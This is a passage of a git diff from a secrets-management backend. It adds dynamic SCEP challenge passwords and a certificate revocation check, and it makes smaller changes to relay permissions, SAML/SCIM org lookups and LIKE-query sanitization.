+++ b/backend/src/ee/services/pki-scep/challenge/index.ts
@@ -0,0 +1,29 @@
+import { BadRequestError } from "@app/lib/errors";
+import { TScepEnrollmentConfigDALFactory } from "@app/services/enrollment-config/scep-enrollment-config-dal";
+
+import { TScepDynamicChallengeDALFactory } from "../pki-scep-dynamic-challenge-dal";
+import { dynamicChallengeValidator } from "./scep-challenge-dynamic";
+import { staticChallengeValidator } from "./scep-challenge-static";
+import { IScepChallengeValidator, ScepChallengeType } from "./scep-challenge-types";
+
+export type { IScepChallengeValidator } from "./scep-challenge-types";
+export { ScepChallengeType } from "./scep-challenge-types";
+
+type TScepChallengeValidatorFactoryDep = {
+  scepEnrollmentConfigDAL: Pick<TScepEnrollmentConfigDALFactory, "findById">;
+  scepDynamicChallengeDAL: Pick<TScepDynamicChallengeDALFactory, "consumeByHash">;
+};
+
+export const getScepChallengeValidator = (
+  challengeType: ScepChallengeType,
+  deps: TScepChallengeValidatorFactoryDep
+): IScepChallengeValidator => {
+  switch (challengeType) {
+    case ScepChallengeType.DYNAMIC:
+      return dynamicChallengeValidator({ scepDynamicChallengeDAL: deps.scepDynamicChallengeDAL });
+    case ScepChallengeType.STATIC:
+      return staticChallengeValidator({ scepEnrollmentConfigDAL: deps.scepEnrollmentConfigDAL });
+    default:
+      throw new BadRequestError({ message: `Unsupported SCEP challenge type: ${String(challengeType)}` });
+  }
+};
diff --git a/backend/src/ee/services/pki-scep/challenge/scep-challenge-dynamic.ts b/backend/src/ee/services/pki-scep/challenge/scep-challenge-dynamic.ts
new file mode 100644
index 00000000000..c7c636adf78
--- /dev/null
+++ b/backend/src/ee/services/pki-scep/challenge/scep-challenge-dynamic.ts
@@ -0,0 +1,21 @@
+import { crypto } from "@app/lib/crypto/cryptography";
+
+import { TScepDynamicChallengeDALFactory } from "../pki-scep-dynamic-challenge-dal";
+import { IScepChallengeValidator } from "./scep-challenge-types";
+
+type TDynamicChallengeValidatorDep = {
+  scepDynamicChallengeDAL: Pick<TScepDynamicChallengeDALFactory, "consumeByHash">;
+};
+
+export const dynamicChallengeValidator = ({
+  scepDynamicChallengeDAL
+}: TDynamicChallengeValidatorDep): IScepChallengeValidator => ({
+  validate: async (challengePassword: string, scepConfigId: string): Promise<boolean> => {
+    if (!challengePassword) return false;
+
+    const hashedChallenge = crypto.nativeCrypto.createHash("sha256").update(challengePassword).digest("hex");
+    const claimed = await scepDynamicChallengeDAL.consumeByHash(hashedChallenge, scepConfigId);
+
+    return !!claimed;
+  }
+});
diff --git a/backend/src/ee/services/pki-scep/challenge/scep-challenge-static.ts b/backend/src/ee/services/pki-scep/challenge/scep-challenge-static.ts
new file mode 100644
index 00000000000..538842d40da
--- /dev/null
+++ b/backend/src/ee/services/pki-scep/challenge/scep-challenge-static.ts
@@ -0,0 +1,21 @@
+import { crypto } from "@app/lib/crypto/cryptography";
+import { TScepEnrollmentConfigDALFactory } from "@app/services/enrollment-config/scep-enrollment-config-dal";
+
+import { IScepChallengeValidator } from "./scep-challenge-types";
+
+type TStaticChallengeValidatorDep = {
+  scepEnrollmentConfigDAL: Pick<TScepEnrollmentConfigDALFactory, "findById">;
+};
+
+export const staticChallengeValidator = ({
+  scepEnrollmentConfigDAL
+}: TStaticChallengeValidatorDep): IScepChallengeValidator => ({
+  validate: async (challengePassword: string, scepConfigId: string): Promise<boolean> => {
+    if (!challengePassword) return false;
+
+    const scepConfig = await scepEnrollmentConfigDAL.findById(scepConfigId);
+    if (!scepConfig?.hashedChallengePassword) return false;
+
+    return crypto.hashing().compareHash(challengePassword, scepConfig.hashedChallengePassword);
+  }
+});
diff --git a/backend/src/ee/services/pki-scep/challenge/scep-challenge-types.ts b/backend/src/ee/services/pki-scep/challenge/scep-challenge-types.ts
new file mode 100644
index 00000000000..18fe9f5e448
--- /dev/null
+++ b/backend/src/ee/services/pki-scep/challenge/scep-challenge-types.ts
@@ -0,0 +1,8 @@
+export enum ScepChallengeType {
+  STATIC = "static",
+  DYNAMIC = "dynamic"
+}
+
+export interface IScepChallengeValidator {
+  validate(challengePassword: string, scepConfigId: string): Promise<boolean>;
+}
diff --git a/backend/src/ee/services/pki-scep/pki-scep-dynamic-challenge-dal.ts b/backend/src/ee/services/pki-scep/pki-scep-dynamic-challenge-dal.ts
new file mode 100644
index 00000000000..5207645dd0c
--- /dev/null
+++ b/backend/src/ee/services/pki-scep/pki-scep-dynamic-challenge-dal.ts
@@ -0,0 +1,71 @@
+import { Knex } from "knex";
+
+import { TDbClient } from "@app/db";
+import { TableName } from "@app/db/schemas";
+import { DatabaseError } from "@app/lib/errors";
+import { ormify } from "@app/lib/knex";
+
+export type TScepDynamicChallengeDALFactory = ReturnType<typeof scepDynamicChallengeDALFactory>;
+
+export const scepDynamicChallengeDALFactory = (db: TDbClient) => {
+  const orm = ormify(db, TableName.PkiScepDynamicChallenge);
+
+  const consumeByHash = async (hashedChallenge: string, scepConfigId: string, tx?: Knex) => {
+    try {
+      const [result] = await (tx || db)(TableName.PkiScepDynamicChallenge)
+        .where({ hashedChallenge, scepConfigId })
+        .where("expiresAt", ">", new Date())
+        .delete()
+        .returning("*");
+
+      return result;
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Consume SCEP dynamic challenge by hash" });
+    }
+  };
+
+  const countPending = async (scepConfigId: string, tx?: Knex) => {
+    try {
+      const result = await (tx || db)(TableName.PkiScepDynamicChallenge)
+        .where({ scepConfigId })
+        .where("expiresAt", ">", new Date())
+        .count("id as count")
+        .first();
+
+      return Number((result as { count?: string | number })?.count ?? 0);
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Count pending SCEP dynamic challenges" });
+    }
+  };
+
+  const pruneExpired = async (scepConfigId: string, tx?: Knex) => {
+    try {
+      const deletedCount = await (tx || db)(TableName.PkiScepDynamicChallenge)
+        .where({ scepConfigId })
+        .where("expiresAt", "<", new Date())
+        .delete();
+
+      return deletedCount;
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Prune expired SCEP dynamic challenges" });
+    }
+  };
+
+  const deleteByConfigId = async (scepConfigId: string, tx?: Knex) => {
+    try {
+      const deletedCount = await (tx || db)(TableName.PkiScepDynamicChallenge).where({ scepConfigId }).delete();
+
+      return deletedCount;
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Delete SCEP dynamic challenges by config" });
+    }
+  };
+
+  return {
+    ...orm,
+    consumeByHash,
+    countPending,
+    pruneExpired,
+    deleteByConfigId
+  };
+};
diff --git a/backend/src/ee/services/pki-scep/pki-scep-fns.ts b/backend/src/ee/services/pki-scep/pki-scep-fns.ts
index f573a3373ba..0a528147d30 100644
--- a/backend/src/ee/services/pki-scep/pki-scep-fns.ts
+++ b/backend/src/ee/services/pki-scep/pki-scep-fns.ts
@@ -2,7 +2,9 @@ import * as x509 from "@peculiar/x509";
 
 import { extractX509CertFromChain } from "@app/lib/certificates/extract-certificate";
 import { crypto } from "@app/lib/crypto/cryptography";
+import { TCertificateDALFactory } from "@app/services/certificate/certificate-dal";
 import { isCertChainValid } from "@app/services/certificate/certificate-fns";
+import { CertStatus } from "@app/services/certificate/certificate-types";
 import { TCertificateAuthorityCertDALFactory } from "@app/services/certificate-authority/certificate-authority-cert-dal";
 import { TCertificateAuthorityDALFactory } from "@app/services/certificate-authority/certificate-authority-dal";
 import { getCaCertChains } from "@app/services/certificate-authority/certificate-authority-fns";
@@ -59,6 +61,7 @@ export const generateRaCertificate = async (
 export const isSignerCertIssuedByCa = async ({
   signerCertDer,
   caId,
+  certificateDAL,
   certificateAuthorityCertDAL,
   certificateAuthorityDAL,
   projectDAL,
@@ -66,6 +69,7 @@ export const isSignerCertIssuedByCa = async ({
 }: {
   signerCertDer: Buffer;
   caId: string;
+  certificateDAL: Pick<TCertificateDALFactory, "findOne" | "transaction">;
   certificateAuthorityCertDAL: Pick<TCertificateAuthorityCertDALFactory, "find" | "findById">;
   certificateAuthorityDAL: Pick<TCertificateAuthorityDALFactory, "findById">;
   projectDAL: Pick<TProjectDALFactory, "findOne" | "updateById" | "transaction">;
@@ -96,7 +100,29 @@ export const isSignerCertIssuedByCa = async ({
       })
     );
 
-    return verifiedChains.some(Boolean);
+    const isChainValid = verifiedChains.some(Boolean);
+    if (!isChainValid) {
+      return false;
+    }
+
+    // Check if the certificate has been revoked in the database
+    // Use transaction to read from primary DB (not replica) since this is a security-critical check
+    const isRevoked = await certificateDAL.transaction(async (tx) => {
+      const storedCert = await certificateDAL.findOne(
+        {
+          serialNumber: signerCert.serialNumber,
+          caId
+        },
+        tx
+      );
+      return storedCert?.status === CertStatus.REVOKED;
+    });
+
+    if (isRevoked) {
+      return false;
+    }
+
+    return true;
   } catch {
     return false;
   }
diff --git a/backend/src/ee/services/pki-scep/pki-scep-service.ts b/backend/src/ee/services/pki-scep/pki-scep-service.ts
index 4c19006425e..3b5eb89084c 100644
--- a/backend/src/ee/services/pki-scep/pki-scep-service.ts
+++ b/backend/src/ee/services/pki-scep/pki-scep-service.ts
@@ -1,10 +1,19 @@
+import { ForbiddenError, subject } from "@casl/ability";
 import * as x509 from "@peculiar/x509";
+import { randomBytes } from "crypto";
 
+import { ActionProjectType } from "@app/db/schemas";
+import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
+import {
+  ProjectPermissionCertificateProfileActions,
+  ProjectPermissionSub
+} from "@app/ee/services/permission/project-permission";
 import { extractX509CertFromChain } from "@app/lib/certificates/extract-certificate";
 import { crypto } from "@app/lib/crypto/cryptography";
 import { BadRequestError, NotFoundError } from "@app/lib/errors";
 import { ActorType } from "@app/services/auth/auth-type";
 import { TCertificateBodyDALFactory } from "@app/services/certificate/certificate-body-dal";
+import { TCertificateDALFactory } from "@app/services/certificate/certificate-dal";
 import { TCertificateAuthorityCertDALFactory } from "@app/services/certificate-authority/certificate-authority-cert-dal";
 import { TCertificateAuthorityDALFactory } from "@app/services/certificate-authority/certificate-authority-dal";
 import { CaType } from "@app/services/certificate-authority/certificate-authority-enums";
@@ -31,6 +40,8 @@ import { getProjectKmsCertificateKeyId } from "@app/services/project/project-fns
 import { EventType, TAuditLogServiceFactory } from "../audit-log/audit-log-types";
 import { convertRawCertsToPkcs7 } from "../certificate-est/certificate-est-fns";
 import { TLicenseServiceFactory } from "../license/license-service";
+import { getScepChallengeValidator, ScepChallengeType } from "./challenge";
+import { TScepDynamicChallengeDALFactory } from "./pki-scep-dynamic-challenge-dal";
 import { getScepCapabilities, isSignerCertIssuedByCa } from "./pki-scep-fns";
 import { buildCertRepFailure, buildCertRepPending, buildCertRepSuccess } from "./pki-scep-message-builder";
 import { parseScepMessage } from "./pki-scep-message-parser";
@@ -38,6 +49,7 @@ import { TScepTransactionDALFactory } from "./pki-scep-transaction-dal";
 import {
   ScepFailInfo,
   ScepMessageType,
+  TGenerateDynamicChallengeDTO,
   TGetCaCapsDTO,
   TGetCaCertDTO,
   THandlePkiOperationDTO,
@@ -48,7 +60,9 @@ type TPkiScepServiceFactoryDep = {
   certificateV3Service: Pick<TCertificateV3ServiceFactory, "signCertificateFromProfile">;
   certificateProfileDAL: Pick<TCertificateProfileDALFactory, "findByIdWithConfigs">;
   scepEnrollmentConfigDAL: Pick<TScepEnrollmentConfigDALFactory, "findById">;
+  scepDynamicChallengeDAL: TScepDynamicChallengeDALFactory;
   scepTransactionDAL: TScepTransactionDALFactory;
+  certificateDAL: Pick<TCertificateDALFactory, "findOne" | "transaction">;
   certificateAuthorityDAL: Pick<TCertificateAuthorityDALFactory, "findById" | "findByIdWithAssociatedCa">;
   certificateAuthorityCertDAL: Pick<TCertificateAuthorityCertDALFactory, "find" | "findById">;
   certificateRequestDAL: Pick<TCertificateRequestDALFactory, "findById">;
@@ -61,6 +75,7 @@ type TPkiScepServiceFactoryDep = {
   certificateRequestService: Pick<TCertificateRequestServiceFactory, "createCertificateRequest">;
   certificateIssuanceQueue: Pick<TCertificateIssuanceQueueFactory, "queueCertificateIssuance">;
   auditLogService: Pick<TAuditLogServiceFactory, "createAuditLog">;
+  permissionService: Pick<TPermissionServiceFactory, "getProjectPermission">;
 };
 
 export type TPkiScepServiceFactory = ReturnType<typeof pkiScepServiceFactory>;
@@ -71,7 +86,9 @@ export const pkiScepServiceFactory = ({
   certificateV3Service,
   certificateProfileDAL,
   scepEnrollmentConfigDAL,
+  scepDynamicChallengeDAL,
   scepTransactionDAL,
+  certificateDAL,
   certificateAuthorityDAL,
   certificateAuthorityCertDAL,
   certificateRequestDAL,
@@ -83,7 +100,8 @@ export const pkiScepServiceFactory = ({
   certificatePolicyService,
   certificateRequestService,
   certificateIssuanceQueue,
-  auditLogService
+  auditLogService,
+  permissionService
 }: TPkiScepServiceFactoryDep) => {
   const loadScepContext = async (profileId: string) => {
     const profile = await certificateProfileDAL.findByIdWithConfigs(profileId);
@@ -303,9 +321,11 @@ export const pkiScepServiceFactory = ({
       }
     }
 
-    const isValid = challengePassword
-      ? await crypto.hashing().compareHash(challengePassword, scepConfig.hashedChallengePassword)
-      : false;
+    const challengeValidator = getScepChallengeValidator(scepConfig.challengeType as ScepChallengeType, {
+      scepEnrollmentConfigDAL,
+      scepDynamicChallengeDAL
+    });
+    const isValid = await challengeValidator.validate(challengePassword, scepConfig.id);
 
     if (!isValid) {
       // Many SCEP clients (including sscep) send PKCSReq for both initial enrollment
@@ -317,6 +337,7 @@ export const pkiScepServiceFactory = ({
         const isRenewalViaPKCSReq = await isSignerCertIssuedByCa({
           signerCertDer: parsed.signerCertDer,
           caId: profile.caId!,
+          certificateDAL,
           certificateAuthorityCertDAL,
           certificateAuthorityDAL,
           projectDAL,
@@ -350,7 +371,7 @@ export const pkiScepServiceFactory = ({
             profileSlug: profile.slug,
             transactionId: parsed.transactionId,
             csrSubject: csrObj.subject,
-            challengeType: "static" as const,
+            challengeType: scepConfig.challengeType as ScepChallengeType,
             status: "failure" as const,
             failReason: "Invalid challenge password",
             clientIp
@@ -385,7 +406,7 @@ export const pkiScepServiceFactory = ({
       profileSlug: profile.slug,
       transactionId: parsed.transactionId,
       csrSubject: csrObj.subject,
-      challengeType: "static" as const,
+      challengeType: scepConfig.challengeType as ScepChallengeType,
       clientIp
     };
 
@@ -470,6 +491,7 @@ export const pkiScepServiceFactory = ({
     const isValidSigner = await isSignerCertIssuedByCa({
       signerCertDer: parsed.signerCertDer,
       caId: profile.caId!,
+      certificateDAL,
       certificateAuthorityCertDAL,
       certificateAuthorityDAL,
       projectDAL,
@@ -777,6 +799,7 @@ export const pkiScepServiceFactory = ({
     switch (certRequest.status) {
       case CertificateRequestStatus.PENDING_APPROVAL:
       case CertificateRequestStatus.PENDING:
+      case CertificateRequestStatus.PENDING_VALIDATION:
         return buildCertRepPending({
           raCertDer,
           raPrivateKeyDer,
@@ -838,9 +861,98 @@ export const pkiScepServiceFactory = ({
     }
   };
 
+  const generateDynamicChallenge = async ({
+    profileId,
+    actor,
+    actorId,
+    actorAuthMethod,
+    actorOrgId
+  }: TGenerateDynamicChallengeDTO) => {
+    const profile = await certificateProfileDAL.findByIdWithConfigs(profileId);
+    if (!profile || profile.enrollmentType !== EnrollmentType.SCEP) {
+      throw new NotFoundError({ message: "SCEP profile not found" });
+    }
+
+    const { permission } = await permissionService.getProjectPermission({
+      actor,
+      actorId,
+      projectId: profile.projectId,
+      actorAuthMethod,
+      actorOrgId,
+      actionProjectType: ActionProjectType.CertificateManager
+    });
+    ForbiddenError.from(permission).throwUnlessCan(
+      ProjectPermissionCertificateProfileActions.Edit,
+      subject(ProjectPermissionSub.CertificateProfiles, { slug: profile.slug })
+    );
+
+    if (!profile.scepConfigId) {
+      throw new BadRequestError({ message: "SCEP enrollment not configured for this profile" });
+    }
+
+    const scepConfig = await scepEnrollmentConfigDAL.findById(profile.scepConfigId);
+    if (!scepConfig) {
+      throw new NotFoundError({ message: "SCEP configuration not found" });
+    }
+
+    if (scepConfig.challengeType !== ScepChallengeType.DYNAMIC) {
+      throw new BadRequestError({ message: "Dynamic challenges are not enabled for this SCEP profile" });
+    }
+
+    const project = await projectDAL.findOne({ id: profile.projectId });
+    if (!project) {
+      throw new NotFoundError({ message: "Project not found" });
+    }
+
+    const plan = await licenseService.getPlan(project.orgId);
+    if (!plan.pkiScep) {
+      throw new BadRequestError({
+        message: "Failed to generate SCEP challenge due to plan restriction. Upgrade to the Enterprise plan."
+      });
+    }
+
+    const challengePlaintext = randomBytes(32).toString("hex");
+
+    const hashedChallenge = crypto.nativeCrypto.createHash("sha256").update(challengePlaintext).digest("hex");
+
+    const expiryMinutes = scepConfig.dynamicChallengeExpiryMinutes ?? 60;
+    const maxPending = scepConfig.dynamicChallengeMaxPending ?? 100;
+
+    const expiresAt = new Date();
+    expiresAt.setMinutes(expiresAt.getMinutes() + expiryMinutes);
+
+    await scepDynamicChallengeDAL.transaction(async (tx) => {
+      const pendingCount = await scepDynamicChallengeDAL.countPending(scepConfig.id, tx);
+      if (pendingCount >= maxPending) {
+        throw new BadRequestError({
+          message: `Maximum number of pending challenges (${maxPending}) reached. Wait for existing challenges to expire or be used.`
+        });
+      }
+
+      await scepDynamicChallengeDAL.create(
+        {
+          scepConfigId: scepConfig.id,
+          hashedChallenge,
+          expiresAt
+        },
+        tx
+      );
+    });
+
+    void scepDynamicChallengeDAL.pruneExpired(scepConfig.id);
+
+    return {
+      challenge: challengePlaintext,
+      projectId: profile.projectId,
+      profileSlug: profile.slug,
+      expiresAt: expiresAt.toISOString()
+    };
+  };
+
   return {
     getCaCaps,
     getCaCert,
-    handlePkiOperation
+    handlePkiOperation,
+    generateDynamicChallenge
   };
 };
diff --git a/backend/src/ee/services/pki-scep/pki-scep-types.ts b/backend/src/ee/services/pki-scep/pki-scep-types.ts
index f752fb81c6a..321940dab68 100644
--- a/backend/src/ee/services/pki-scep/pki-scep-types.ts
+++ b/backend/src/ee/services/pki-scep/pki-scep-types.ts
@@ -1,3 +1,5 @@
+import { ActorAuthMethod, ActorType } from "@app/services/auth/auth-type";
+
 export enum ScepMessageType {
   CertRep = "3",
   RenewalReq = "17",
@@ -63,3 +65,11 @@ export type THandlePkiOperationDTO = {
   message: Buffer;
   clientIp: string;
 };
+
+export type TGenerateDynamicChallengeDTO = {
+  profileId: string;
+  actor: ActorType;
+  actorId: string;
+  actorAuthMethod: ActorAuthMethod;
+  actorOrgId: string;
+};
diff --git a/backend/src/ee/services/relay/relay-service.ts b/backend/src/ee/services/relay/relay-service.ts
index f1b98ba530f..4f0b9c34392 100644
--- a/backend/src/ee/services/relay/relay-service.ts
+++ b/backend/src/ee/services/relay/relay-service.ts
@@ -1154,16 +1154,18 @@ export const relayServiceFactory = ({
     actorAuthMethod: ActorAuthMethod;
     actorOrgId: string;
   }) => {
-    const { permission } = await permissionService.getOrgPermission({
-      scope: OrganizationActionScope.Any,
-      actor,
-      actorId,
-      orgId: actorOrgId,
-      actorAuthMethod: actorAuthMethod!,
-      actorOrgId
-    });
+    if (actor !== ActorType.GATEWAY) {
+      const { permission } = await permissionService.getOrgPermission({
+        scope: OrganizationActionScope.Any,
+        actor,
+        actorId,
+        orgId: actorOrgId,
+        actorAuthMethod: actorAuthMethod!,
+        actorOrgId
+      });
 
-    ForbiddenError.from(permission).throwUnlessCan(OrgPermissionRelayActions.ListRelays, OrgPermissionSubjects.Relay);
+      ForbiddenError.from(permission).throwUnlessCan(OrgPermissionRelayActions.ListRelays, OrgPermissionSubjects.Relay);
+    }
 
     const instanceRelays = await relayDAL.find({
       orgId: null
diff --git a/backend/src/ee/services/saml-config/saml-config-service.ts b/backend/src/ee/services/saml-config/saml-config-service.ts
index f6b24789c0e..3e24f0fe397 100644
--- a/backend/src/ee/services/saml-config/saml-config-service.ts
+++ b/backend/src/ee/services/saml-config/saml-config-service.ts
@@ -16,6 +16,8 @@ import {
 } from "@app/db/schemas";
 import { throwOnPlanSeatLimitReached } from "@app/ee/services/license/license-fns";
 import { BadRequestError, ForbiddenRequestError, NotFoundError } from "@app/lib/errors";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { sanitizeEmail, validateEmail } from "@app/lib/validator/validate-email";
 import { TAuthLoginFactory } from "@app/services/auth/auth-login-service";
 import { AuthMethod } from "@app/services/auth/auth-type";
@@ -288,7 +290,7 @@ export const samlConfigServiceFactory = ({
           "Failed to create SAML SSO configuration due to plan restriction. Upgrade plan to create SSO configuration."
       });
 
-    const org = await orgDAL.findOrgById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindOrgById(orgId), () => orgDAL.findOrgById(orgId));
 
     if (!org) {
       throw new NotFoundError({ message: `Could not find organization with ID "${orgId}"` });
@@ -360,7 +362,7 @@ export const samlConfigServiceFactory = ({
           "Failed to update SAML SSO configuration due to plan restriction. Upgrade plan to update SSO configuration."
       });
 
-    const org = await orgDAL.findOrgById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindOrgById(orgId), () => orgDAL.findOrgById(orgId));
 
     if (!org) {
       throw new NotFoundError({ message: `Could not find organization with ID "${orgId}"` });
@@ -532,12 +534,11 @@ export const samlConfigServiceFactory = ({
       aliasType: UserAliasType.SAML
     });
 
-    // Verify that the email domain (if verified on the platform) belongs to this org
     await verifyEmailDomainOwnership({ email, orgId, emailDomainDAL });
     const sanitizedEmail = sanitizeEmail(email);
     validateEmail(sanitizedEmail);
 
-    const organization = await orgDAL.findOrgById(orgId);
+    const organization = await requestMemoize(requestMemoKeys.orgFindOrgById(orgId), () => orgDAL.findOrgById(orgId));
     if (!organization) throw new NotFoundError({ message: `Organization with ID '${orgId}' not found` });
 
     const samlConfig = await samlConfigDAL.findOne({ orgId });
@@ -727,7 +728,7 @@ export const samlConfigServiceFactory = ({
 
       await smtpService.sendMail({
         template: SmtpTemplates.EmailVerification,
-        subjectLine: "Infisical confirmation code",
+        subjectLine: `Infisical confirmation code: ${token}`,
         recipients: [user.email],
         substitutions: {
           code: token
diff --git a/backend/src/ee/services/scim/scim-service.ts b/backend/src/ee/services/scim/scim-service.ts
index 86fd94bdd93..db6c58c8f45 100644
--- a/backend/src/ee/services/scim/scim-service.ts
+++ b/backend/src/ee/services/scim/scim-service.ts
@@ -22,6 +22,8 @@ import { BadRequestError, NotFoundError, ScimRequestError, UnauthorizedError } f
 import { logger } from "@app/lib/logger";
 import { ms } from "@app/lib/ms";
 import { alphaNumericNanoId } from "@app/lib/nanoid";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { sanitizeEmail, validateEmail } from "@app/lib/validator/validate-email";
 import { TAdditionalPrivilegeDALFactory } from "@app/services/additional-privilege/additional-privilege-dal";
 import { AuthTokenType } from "@app/services/auth/auth-type";
@@ -288,7 +290,7 @@ export const scimServiceFactory = ({
     filter,
     orgId
   }) => {
-    const org = await orgDAL.findById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
 
     if (!org.scimEnabled)
       throw new ScimRequestError({
@@ -395,7 +397,7 @@ export const scimServiceFactory = ({
     const sanitizedEmail = sanitizeEmail(email);
     validateEmail(sanitizedEmail);
 
-    const org = await orgDAL.findOrgById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindOrgById(orgId), () => orgDAL.findOrgById(orgId));
     if (!org)
       throw new ScimRequestError({
         detail: "Organization not found",
@@ -424,8 +426,6 @@ export const scimServiceFactory = ({
       aliasType
     });
 
-    // Verify that the email domain (if verified on the platform) belongs to this org
-
     await verifyEmailDomainOwnership({ email, orgId, emailDomainDAL });
 
     const { user: createdUser, orgMembership: createdOrgMembership } = await userDAL.transaction(async (tx) => {
@@ -575,7 +575,7 @@ export const scimServiceFactory = ({
 
   // partial
   const updateScimUser: TScimServiceFactory["updateScimUser"] = async ({ orgMembershipId, orgId, operations }) => {
-    const org = await orgDAL.findOrgById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindOrgById(orgId), () => orgDAL.findOrgById(orgId));
     if (!org.orgAuthMethod) {
       throw new ScimRequestError({
         detail: "Neither SAML or OIDC SSO is configured",
@@ -697,7 +697,7 @@ export const scimServiceFactory = ({
     email: unsanitizedEmail,
     externalId
   }) => {
-    const org = await orgDAL.findOrgById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindOrgById(orgId), () => orgDAL.findOrgById(orgId));
     if (!org.orgAuthMethod) {
       throw new ScimRequestError({
         detail: "Neither SAML or OIDC SSO is configured",
@@ -869,7 +869,7 @@ export const scimServiceFactory = ({
         message: "Failed to list SCIM groups due to plan restriction. Upgrade plan to list SCIM groups."
       });
 
-    const org = await orgDAL.findById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!org) {
       throw new ScimRequestError({
         detail: "Organization Not Found",
@@ -885,8 +885,8 @@ export const scimServiceFactory = ({
 
     const groups = await groupDAL.findGroups(
       {
-        orgId,
-        ...(filter && parseScimFilter(filter))
+        ...(filter && parseScimFilter(filter)),
+        orgId
       },
       {
         offset: startIndex - 1,
@@ -987,7 +987,7 @@ export const scimServiceFactory = ({
         message: "Failed to create a SCIM group due to plan restriction. Upgrade plan to create a SCIM group."
       });
 
-    const org = await orgDAL.findById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
 
     if (!org) {
       throw new ScimRequestError({
@@ -1285,7 +1285,7 @@ export const scimServiceFactory = ({
         message: "Failed to update SCIM group due to plan restriction. Upgrade plan to update SCIM group."
       });
 
-    const org = await orgDAL.findById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!org) {
       throw new ScimRequestError({
         detail: "Organization Not Found",
@@ -1326,7 +1326,7 @@ export const scimServiceFactory = ({
         message: "Failed to update SCIM group due to plan restriction. Upgrade plan to update SCIM group."
       });
 
-    const org = await orgDAL.findById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
 
     if (!org) {
       throw new ScimRequestError({
@@ -1394,7 +1394,7 @@ export const scimServiceFactory = ({
         message: "Failed to delete SCIM group due to plan restriction. Upgrade plan to delete SCIM group."
       });
 
-    const org = await orgDAL.findById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     if (!org) {
       throw new ScimRequestError({
         detail: "Organization Not Found",
diff --git a/backend/src/ee/services/secret-approval-request/secret-approval-request-dal.ts b/backend/src/ee/services/secret-approval-request/secret-approval-request-dal.ts
index 4558458a2c7..44d0fc92517 100644
--- a/backend/src/ee/services/secret-approval-request/secret-approval-request-dal.ts
+++ b/backend/src/ee/services/secret-approval-request/secret-approval-request-dal.ts
@@ -12,6 +12,7 @@ import {
   TUsers
 } from "@app/db/schemas";
 import { DatabaseError } from "@app/lib/errors";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import { ormify, selectAllTableCols, sqlNestRelationships, stripUndefinedInWhere, TFindFilter } from "@app/lib/knex";
 
 import { RequestState } from "./secret-approval-request-types";
@@ -537,13 +538,19 @@ export const secretApprovalRequestDALFactory = (db: TDbClient) => {
             .whereRaw(`CONCAT_WS(' ', ??, ??) ilike ?`, [
               db.ref("firstName").withSchema("committerUser"),
               db.ref("lastName").withSchema("committerUser"),
-              `%${search}%`
+              `%${sanitizeSqlLikeString(search)}%`
             ])
-            .orWhereRaw(`?? ilike ?`, [db.ref("username").withSchema("committerUser"), `%${search}%`])
-            .orWhereRaw(`?? ilike ?`, [db.ref("email").withSchema("committerUser"), `%${search}%`])
-            .orWhereILike(`${TableName.Environment}.name`, `%${search}%`)
-            .orWhereILike(`${TableName.Environment}.slug`, `%${search}%`)
-            .orWhereILike(`${TableName.SecretApprovalPolicy}.secretPath`, `%${search}%`);
+            .orWhereRaw(`?? ilike ?`, [
+              db.ref("username").withSchema("committerUser"),
+              `%${sanitizeSqlLikeString(search)}%`
+            ])
+            .orWhereRaw(`?? ilike ?`, [
+              db.ref("email").withSchema("committerUser"),
+              `%${sanitizeSqlLikeString(search)}%`
+            ])
+            .orWhereILike(`${TableName.Environment}.name`, `%${sanitizeSqlLikeString(search)}%`)
+            .orWhereILike(`${TableName.Environment}.slug`, `%${sanitizeSqlLikeString(search)}%`)
+            .orWhereILike(`${TableName.SecretApprovalPolicy}.secretPath`, `%${sanitizeSqlLikeString(search)}%`);
         });
       }
 
@@ -739,15 +746,15 @@ export const secretApprovalRequestDALFactory = (db: TDbClient) => {
             .whereRaw(`CONCAT_WS(' ', ??, ??) ilike ?`, [
               db.ref("committerUserFirstName"),
               db.ref("committerUserLastName"),
-              `%${search}%`
+              `%${sanitizeSqlLikeString(search)}%`
             ])
-            .orWhereRaw(`?? ilike ?`, [db.ref("committerUserUsername"), `%${search}%`])
-            .orWhereRaw(`?? ilike ?`, [db.ref("committerUserEmail"), `%${search}%`])
-            .orWhereILike(`environmentName`, `%${search}%`)
-            .orWhereILike(`environment`, `%${search}%`)
-            .orWhereILike(`policySecretPath`, `%${search}%`)
-            .orWhereILike(`requestFolderPath`, `%${search}%`)
-            .orWhereILike(`secretKey`, `%${search}%`);
+            .orWhereRaw(`?? ilike ?`, [db.ref("committerUserUsername"), `%${sanitizeSqlLikeString(search)}%`])
+            .orWhereRaw(`?? ilike ?`, [db.ref("committerUserEmail"), `%${sanitizeSqlLikeString(search)}%`])
+            .orWhereILike(`environmentName`, `%${sanitizeSqlLikeString(search)}%`)
+            .orWhereILike(`environment`, `%${sanitizeSqlLikeString(search)}%`)
+            .orWhereILike(`policySecretPath`, `%${sanitizeSqlLikeString(search)}%`)
+            .orWhereILike(`requestFolderPath`, `%${sanitizeSqlLikeString(search)}%`)
